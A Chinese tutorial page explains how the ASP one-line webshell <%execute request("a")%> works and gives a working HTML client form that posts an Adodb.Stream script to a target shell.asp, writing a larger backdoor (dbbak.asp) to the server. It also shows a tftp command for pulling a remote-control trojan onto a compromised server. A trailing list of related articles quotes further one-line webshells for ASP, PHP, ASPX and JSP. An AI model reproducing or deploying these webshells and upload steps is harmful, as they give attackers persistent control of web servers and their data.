asp一句话木马原理分析

通过HTTP协议来访问
一句话木马的使用范围(我只列举了2种):

1)只有数据库备份的情况
数据库备份成asp文件时候,不出现“ 编译错误,缺少脚本关闭标志%>"

2)SA权限的时候,一般先写入一句话,图个方便..(当然,直接tftp上传鸽子运行,那更快)

tftp -i ip get server.exe

一句话木马<%execute request("a")%>的原理:

首先知道
execute()函数,是用来执行asp代码的.就是负责执行我们上传的大马,将马交由asp.dll解析.上面的代码<%execute request("a")%>可以这样来解释:

<% 
if request("a")<>"" then execute request("a") 
%>

如果a不为空的时候执行.执行什么呢?...

if a != 0

下面我们来看一下客户端:

<form action=http://192.168.0.28/shell.asp method=post> 
<textarea name=l cols=120 rows=10 width=45> 
set lP=server.CreateObject("Adodb.Stream") '创建Adodb.Stream组件..
lP.Open 
lP.Type=2 
lP.CharSet="gb2312" 
lP.writetext request("p") 
lP.SaveToFile server.mappath("dbbak.asp"),2 
lP.Close 
set lP=nothing 
response.redirect "dbbak.asp" 
</textarea> 
<textarea name=p cols=120 rows=10 width=45>要提交的数据</textarea><BR><center><br> 
<input type=submit value=提交>

Adodb.Stream负责上传读取数据到服务器:

组件:"Adodb.Stream" 
有下列方法: 
Cancel 方法 
使用方法如下 
Object.Cancel 
说明:取消执行挂起的异步 Execute 或 Open 方法的调用。

WriteText 方法 
使用方法如下: 
Object.Write(Data,[Options]) 
说明:将指定的文本数据装入对像中。 
参数说明:Data 为指定的要写入的内容。 
Options 写入的选项,可不指定,可选参数如下: 
adWriteChar =0 
adWriteLine =1

SaveToFile 方法 
使用方法如下: 
Object.SaveToFile(FileName,[Options]) 
说明:将对像的内容写到FileName指定的文件中

也就是我们保存木马的文件名dbbak.asp 
参数说明:FileName指定的文件 
Options 存取的选项,可不指定,可选参数如下: 
adSaveCreateNotExist =1 
adSaveCreateOverWrite =2

提交一句话木马后,a的值为空 等待一个写入的值 访问http://www.***.com/**.asp就是等待的过程 如何准备用execute()这个函数来执行...

创建一个Adodb.Stream,负责把我们的大马写入到服务器当中...

同时,这个组件定义的变量SaveToFile定义了我们大马的名字..dbbak.asp

提交到服务器后execute()函数检测到a的值不为空了,所以就执行了我们的大马!

(0)

相关推荐

  • asp.net上传文件到数据库的解决方案

    现在,我们来看存放文件的数据库表结构,这里,我们给出建立表的标准SQL语句: CREATE TABLE tblBooksUpload ( DocID int NOT NULL IDENTITY Primary Key , DocTitle varchar (200) , Doc image, DocType varchar (50) , Entrydate datetime Default GetDate() ) 以上的语句中,我们看到数据表tblBooksUpload包含五个字段: ·字段Do

  • asp,php一句话木马整理方便查找木马

    特把经常用到的网页后门的木马整理下,如果不全请大家补全他,大家在网站混口饭吃,都不容易何必呢 asp一句话木马 文件常见内容 <%If Request("#")<>"" Then Execute(Request("#"))%> execute(request("#")); eval(request("#")); php一句话木马 <?@include($_POST["

  • asp.net jscript 一句话木马

    min.aspx 复制代码 代码如下: <%@ Page Language="Jscript"%><%eval(Request.Item["z"],"unsafe");%> 复制代码 代码如下: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/x

  • asp控制xml数据库的经典代码

    NO.1--建立一个XML数据库data.xml <?xml version="1.0"?> <records> <record> <name>caca</name> <qq>154222225</qq> <email>root@3ney.com</email> </record> <records> NO.2--建立对象CreateObject 建立da

  • 一句话木马的原理及利用分析(asp,aspx,php,jsp)

    一句话木马的适用环境: 1.服务器的来宾账户有写入权限 2.已知数据库地址且数据库格式为asa或asp 3.在数据库格式不为asp或asa的情况下,如果能将一句话插入到asp文件中也可 一句话木马的工作原理: "一句话木马"服务端(本地的html提交文件) 就是我们要用来插入到asp文件中的asp语句,(不仅仅是以asp为后缀的数据库文件),该语句将回为触发,接收入侵者通过客户端提交的数据,执行并完成相应的操作,服务端的代码内容为 <%execute request("

  • ASP通过ODBC连接SQL Server 2008数据库的方法

    创建数据库连接文件[dsn文件]的方法 创建 ODBC DSN 文件 在创建数据库脚本之前,必须提供一条使 ADO 定位.标识和与数据库通讯的途径.数据库驱动程序使用 Data Source Name (DSN) 定位和标识特定的 ODBC 兼容数据库,将信息从 Web 应用程序传递给数据库.典型情况下,DSN 包含数据库配置.用户安全性和定位信息,且可以获取 Windows NT 注册表项中或文本文件的表格. 通过 ODBC,您可以选择希望创建的 DSN 的类型:用户.系统或文件.用户和系统

  • 浅谈ASP数据库下载漏洞

    作为脚本漏洞的头号杀手锏--数据库下载漏洞,现在已经被越来越多的人所熟知.在这个信息化技术更新飞快的时代,漏洞产生后随之而来的就是各种应对 的招数,比如改数据库的后缀.修改数据库的名字等等.很多人以为只要这么做就可以解决问题了,但事实往往不如你我所愿,即使你这么做了也难逃被高手攻击的 命运.为此我们有必要去了解一些攻击的手法,来增强自己的安全技能. 1.强制下载后缀名为ASP.ASA的数据库文件 大多数的网管为了节省时间,网站上的文章系统.论坛等程序都是直接下载别人的源程序再经过部分修改后使用的

  • 一句话木马入侵EASYNEWS新闻管理系统

    实例一:"一句话木马"入侵"EASYNEWS新闻管理系统"      "EASYNEWS新闻管理系统 v1.01 正式版"是在企业网站中非常常见的一套整站模版,在该网站系统的留言本组件中就存在着数据过滤不严漏洞,如果网站是默认路径和默认文件名安装的话,入侵者可以利用该漏洞直接上传ASP木马程序控制整个网站服务器. Step1 搜索入侵目标 使用了"EASYNEWS新闻管理系统 v1.01 正式版"的网站,在网站页面的底部版权声

  • MySQL结合使用数据库分析工具SchemaSpy的方法

    近来,我和一帮老客户一起工作,他们让花时间给他们说一下在他们新环境中使用的新工具.其中,我发现的一个非常有用的工具是SchemaSpy. SchemaSpy是Java开发的的工具(要求java 5或更高版本的支持),主要用来分析数据库中数据模型的元数据,并且能生成基于浏览器可视化的显示.通过点击就可了解数据表的层次结构,父子表关系等,主要通过HTML 链接或者实体关系图来表达.它也被设计成用来帮助解决由于约束而导致的数据库关联失败的迟钝错误. 我所喜欢ERD工具所能做的一件事是能快速的生成一个图

  • ASP网站中数据库被挂木马的解决方案

    本文我们详细介绍了ASP数据库被挂木马的详细解决方案之编程处理的方法,解决方案分为以下三步: 第一步: 为现有数据库做好备份. 第二步: 执行如下ASP文件,这样就可以去掉数据库当中的JS木马: 注:conn.asp自己去写了. '这里放入JS木马内容:请记得改为自己数据库中的JS木马内容. <!--#include file="conn.asp"--> <% Server.ScriptTimeOut=180 Set rstSchema = conn.OpenSche

  • ASP.NET列出数据库活跃链接的方法

    本文实例讲述了ASP.NET列出数据库活跃链接的方法.分享给大家供大家参考.具体分析如下: 这里列出数据库的活跃链接.主要使用geeric列表和一个贮存器,创建一个泛型列表的链接,如果他们是活跃的,那么他们将显示在导航了. //First in C# where you create the controller action method //to create the method that will populate all content details //add the follow

  • asp实现读取数据库输出json代码

    复制代码 代码如下: Function GetTable(Table,Where,Order,OrderSort,curpage, pagesize,MiniJson) 'Author : nigou '使用方法 : Response.Write GetTable(Table表名,Where条件,Order主键(必须),OrderSort(asc,desc),curpage当前页, pagesize每页条数,MiniJson是否输出为miniUI格式) '     dim i, j ,rs   

  • ASP语言实现对SQL SERVER数据库的操作

    目前管理信息系统已从传统的客户机/服务器(C/S)模式转向了浏览器/服务器(B/S)模式,特别是微软公司推出它的新产品ASP语言之后,这种转变更加迅猛.管理信息系统的核心是对数据库进行包括添加.修改和查询等等操作,ASP提供的ADO数据库接口控件,使得程序员再也勿需编写复杂的CGI程序了,而只要用几句简单的语句即可实现以上操作.1.系统环境 PII 350,Ram 64M,WINNT Server 4.0, Service Pack4, IIS 4.0, SQL Server7.0. 2.系统功

  • JSP一句话木马代码

    复制代码 代码如下: <%  if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());  %> 这个 后门估计不用我说了吧.还是提示一下咯.保

随机推荐